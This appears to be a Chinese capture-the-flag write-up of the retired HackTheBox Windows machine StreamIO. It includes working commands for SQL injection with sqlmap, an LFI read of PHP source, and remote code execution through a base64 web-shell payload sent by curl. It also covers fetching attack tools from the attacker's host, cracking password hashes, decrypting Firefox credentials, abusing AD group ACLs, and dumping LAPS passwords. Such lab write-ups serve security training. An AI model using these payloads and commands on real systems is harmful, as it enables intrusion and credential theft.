概述 (Overview)
HOST: 10.10.11.158
OS: Windows
发布时间: 2022-06-04
完成时间: 2022-06-30
困难程度: MEDIUM
机器状态: 退休
MACHINE TAGS: #ActiveDirectory #LDAP #SourceCodeAnalysis #SQLi
攻击链 (Kiillchain)
HTB官方关于 StreamIO 说明:
StreamIO 是一个 Medium 难度的机器,它涵盖子域枚举,可以利用 SQL 注入以检索存储的用户凭据,并利用这些凭据访问管理面板。管理面板易受 LFI 影响,这使我们能够检索管理页面的源代码,从而发现远程文件包含漏洞,滥用该漏洞可访问系统。在初始 shell 之后,我们利用 SQLCMD 命令行实用程序枚举数据库并获取横向移动中使用的更多凭证。作为二级用户,我们使用 WinPEAS
枚举系统并找到已保存的浏览器数据库,对其进行解码,从而获得新的凭据。使用 BloodHound
中的新凭证,我们发现该用户有能力将自己添加到一个特定组中,在该组中他们可以读取 LDAP 秘密。在无法直接访问账户的情况下,我们使用 PowerShell 滥用这一功能,将自己添加到 Core Staff group
,然后访问 LDAP 以披露管理员 LAPS 密码。
枚举(Enumeration)
开局还是通过 Nmap 工具对目标服务器开放端口进行服务枚举。
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-06-29 13:10:12Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: 2022-06-29T13:11:43+00:00; +7h00m01s from scanner time.
|_http-title: Not Found
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Issuer: commonName=streamIO/countryName=EU
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-02-22T07:03:28
| Not valid after: 2022-03-24T07:03:28
| MD5: b99a 2c8d a0b8 b10a eefa be20 4abd ecaf
|_SHA-1: 6c6a 3f5c 7536 61d5 2da6 0e66 75c0 56ce 56e4 656d
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49701/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 6h59m59s
| smb2-time:
| date: 2022-06-29T13:11:03
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
在结果中我们可以获悉服务器是 Windows,存在 DNS 解析服务、Web 服务及 Active Directory 相关服务。注意到 WINRM 服务是对外开放的,这意味我们需要先得到一个可用 RM 的用户凭证来做为立足点。
Port 80、443 - HTTP、HTTPS
浏览器访问 80 端口,在首页中能够找一组域名逐而将其加入到 hosts 文件后,再次访问。
浏览子域功能时发现一个搜索功能。
简单尝试输入一些内容后发现功能是被禁用的:
<script type="text/javascript">
function unavailable() {
alert("Movie Steaming is currently unavailable due to Some security issues");
}
</script>
在对主域名进行路径枚举时,发现存在一个 admin/master.php
可以被访问。但需要一些前置条件才能使用。
尝试用 kerbrute 工具进行用户名枚举,可惜没有用户名命中当前的字典。
立足点(Foothold)
兜兜转转来到主域名的登录页面,简单验证了一下发现存在 SQL 注入。
随即使用 SqlMap 工具进行数据库内容 dump:
$ sqlmap -u "https://streamio.htb/login.php" --data "username=1&password=1" --method POST -D STREAMIO -T users --dump
sqlmap identified the following injection point(s) with a total of 86 HTTP(s) requests:
---
Parameter: username (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: username=123';WAITFOR DELAY '0:0:5'--&password=123
---
...snip...
available databases [5]:
[*] model
[*] msdb
[*] STREAMIO
[*] streamio_backup
[*] tempdb
...snip...
Database: STREAMIO
[2 tables]
+--------+
| movies |
| users |
+--------+
将 users 表中的密码 hash 进行本地暴力枚举,得到一些明文信息:
Hash Type Result
08344b85b329d7efd611b7a7743e8a09 md5 ##123a8j8w5123##
f87d3c0d6c8fd686aacc6627f1f493a5 md5 !!sabrina$
3577c47eb1e12c8ba021611e1280753c md5 highschoolmusical
54c88b2dbd7b1a84012fabc1a4c73415 md5 $hadoW
b83439b16f844bd6ffe35c02fe21b3c0 md5 !?Love?!123
b22abb47a02b52d5dfa27fb0b534f693 md5 !5psycho8!
ef8f3d30a856cf166fb8215aca93e9ff md5 %$clara
ee0b8a0937abd60c2882eacb2f8dc49f md5 physics69i
6dcd87740abb64edfa36d170f0d5450d md5 $3xybitch
2a4e2cf22dd8fcb45adcb91be1e22ae8 md5 $monique$1991$
b779ba15cedfd22a023c4d8bcf5f2332 md5 66boysandgirls..
665a50ac9eaa781e4f7f04199db97a11 md5 paddpadd
随后使用得到账号密码进行登录,发现 yoshihide 用户具备该权限。
yoshihide:66boysandgirls..
挨个测试了控制台中的功能均没有取得新的进展,猜测可能隐藏了漏洞暴露的页面。根据菜单中的 URL 请求规则,使用 FFUF 工具进行 Fuzzing 尝试。
<ul class="nav nav-pills nav-fill">
<li class="nav-item">
<a class="nav-link" href="?user=">User management</a>
</li>
<li class="nav-item">
<a class="nav-link" href="?staff=">Staff management</a>
</li>
<li class="nav-item">
<a class="nav-link" href="?movie=">Movie management</a>
</li>
<li class="nav-item">
<a class="nav-link" href="?message=">Leave a message for admin</a>
</li>
</ul>
$ ffuf -u "https://streamio.htb/admin/?FUZZ=" -w ./directory-list-2.3-small.txt -H "Cookie: PHPSESSID=pbe4b69vnntudf4tu89fhvo9sp" -fw 85 -fc 403 -o ffuf.txt
从结果中可以看到存在一个 ?debug=
路径,简单测试后发现存在 LFI 漏洞。
- 尝试:加载当前路径中的
index.php
文件,输出 ERROR
- 尝试:加载上级路径中的
index.php
文件,输出 PHP 脚本运行后的内容。
随后在尝试读取源代码进行分析时,发现脚本中一组数据库连接账号密码。从代码中可以看到,漏洞出现位置位于 include
函数。
GET /admin/?debug=php://filter/read=convert.base64-encode/resource=index.php
...snip...
$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');
...snip...
<?php
if(isset($_GET['debug']))
{
echo 'this option is for developers only';
if($_GET['debug'] === "index.php") {
die(' ---- ERROR ----');
} else {
include $_GET['debug'];
}
}
else if(isset($_GET['user']))
require 'user_inc.php';
else if(isset($_GET['staff']))
require 'staff_inc.php';
else if(isset($_GET['movie']))
require 'movie_inc.php';
else
?>
因为目标服务器是 windows 系统,尝试使用进行 SMB 中续可以获得 NTLM Hash,可以看到请求我们 SMB 服务的用户是 yoshihide
。
在暴力破解 Hash 的同时,在 master.php
脚本代码中找到了可以代码执行的漏洞。
GET /admin/?debug=php://filter/read=convert.base64-encode/resource=master.php
<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" )
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
?>
随后利用代码执行成功拿到立足点:
$ curl -s -k -X 'POST' -H 'Content-Type: application/x-www-form-urlencoded' -b 'PHPSESSID=<YOSHIHIME SESSION ID>' --data-binary "include=data://text/plain;base64,c3lzdGVtKCRfR0VUWydjbWQnXSk7" 'https://streamio.htb/admin/?debug=master.php&cmd=whoami"'
横向移动(Lateral Movement)
虽然拿到了 shell,但当前用户文件夹中并没有 user flag,所以还需要进行用户横向移动。通过文件传递将 peas、sharphound 发送到目标服务器上运行。
PS C:\Windows\temp> Invoke-WebRequest "http://10.10.14.12/winPEASx64.exe" -OutFile "winPEASx64.exe"
PS C:\Windows\temp> Invoke-WebRequest "http://10.10.14.12/SharpHound.exe " -OutFile "SharpHound.exe"
PS C:\Windows\temp> .\SharpHound.exe
-----------------------------------------------
Initializing SharpHound at 5:27 AM on 6/30/2022
-----------------------------------------------
Resolved Collection Methods: Group, Sessions, Trusts, ACL, ObjectProps, LocalGroups, SPNTargets, Container
[+] Creating Schema map for domain STREAMIO.HTB using path CN=Schema,CN=Configuration,DC=STREAMIO,DC=HTB
[+] Cache File not Found: 0 Objects in cache
[+] Pre-populating Domain Controller SIDS
Status: 0 objects finished (+0) -- Using 19 MB RAM
Status: 64 objects finished (+64 ?)/s -- Using 27 MB RAM
Enumeration finished in 00:00:00.5027307
Compressing data to .\20220630052742_BloodHound.zip
You can upload this file directly to the UI
SharpHound Enumeration Completed at 5:27 AM on 6/30/2022! Happy Graphing!
在 peas 中想起存在 SQL Server 服务,随即将其本地监听的端口进行转发。
使用 mssqlclient 工具登录数据库进行查看。
# mssqlclient.py db_admin:'B1@hx31234567890'@127.0.0.1 -p 1433
用户没有权限操作 xp_cmdshell,转而查数据库,在 streamio_backup 库中能找到一些用户 Hash。经过对比, streamio_backup 库中多了个 nikk37 用户,而 nikk37 用户在 cmd> net user
中也存在。
SQL> select * from master.dbo.SysDatabases;
SQL> SELECT * FROM SysObjects Where XType='U';
SQL> select * from streamio_backup..users
id username password
----------- -------------------------------------------------- --------------------------------------------------
1 nikk37 389d14cb8e4e9b94b137deb1caf0612a
2 yoshihide b779ba15cedfd22a023c4d8bcf5f2332
...snip...
表中的 hash 可以通过 sqlmap 进行导出,它是支持本地或远程连接数据库的。
sqlmap -d mssql://db_admin:'B1@hx31234567890'@localhost:1433/streamio_backup --dump -D users
经过 cmd5 这类网站进行 hash 查询得到明文密码,使用 CME 工具进行验证,该密码是有效的。
nikk37:get_dem_girls2@yahoo.com
结合开放的 WINRM 服务,使用 evil-winrm 工具成功获取 PSSession,完成横向移动。
$ evil-winrm -i 10.10.11.158 -u nikk37 -p get_dem_girls2@yahoo.com
权限提升(Privilege Escalation)
继续运行 peas 进行信息收集,在结果中查看到有 Firefox 浏览器保存凭证。
将 key4.db
文件传递至本地后进行分析。
download C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db
$ file key4.db
key4.db: SQLite 3.x database, last written using SQLite version 3037002, page size 32768, file counter 4, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 4
通过 Google 进行搜索发现可以使用 firepwd 工具进行内容提取,但需要注意它还要结合 logins.json 文件,单独的一个 key4.db 是不起作用的。
decrypting login/password pairs
https://slack.streamio.htb:b'admin',b'JDg0dd1s@d0p3cr3@t0r'
https://slack.streamio.htb:b'nikk37',b'n1kk1sd0p3t00:)'
https://slack.streamio.htb:b'yoshihide',b'paddpadd@12'
https://slack.streamio.htb:b'JDgodd',b'password@12'
使用 CME 工具对新得到的用户和密码进行登录验证,发现 JDgodd 用户是有效的。
结合 BloodHound 工具进行攻击路径查看,JDgodd 用户可以修改 CORE STAFF
组,而该组可以读取 LDAP Password。而 ReadLAPSPassword
的作用就是从指定的AD计算机或域控制器对象上的 Active Directory 查询 Windows 本地管理员密码(LAPS)凭据。
提权路径知道了,接下来就是结合工具中提示按攻击步骤进行操作就好。
$SecPassword = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('streamio\JDgodd', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "Core Staff" -principalidentity "streamio\JDgodd"
Add-DomainGroupMember -identity "Core Staff" -members "streamio\JDgodd" -credential $Cred
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
可以看到,已经成功将 JDgodd 用户加入到 CORE STAF
组中。接着就很简单了,可以使用多种工具获取本地管理员密码,比如 LAPSDumper。
Dumping LAPS from Python - https://github.com/n00py/LAPSDumper
也可以直接使用 CME,它的功能模块中已经集成。
使用该密码成功完成权限提升。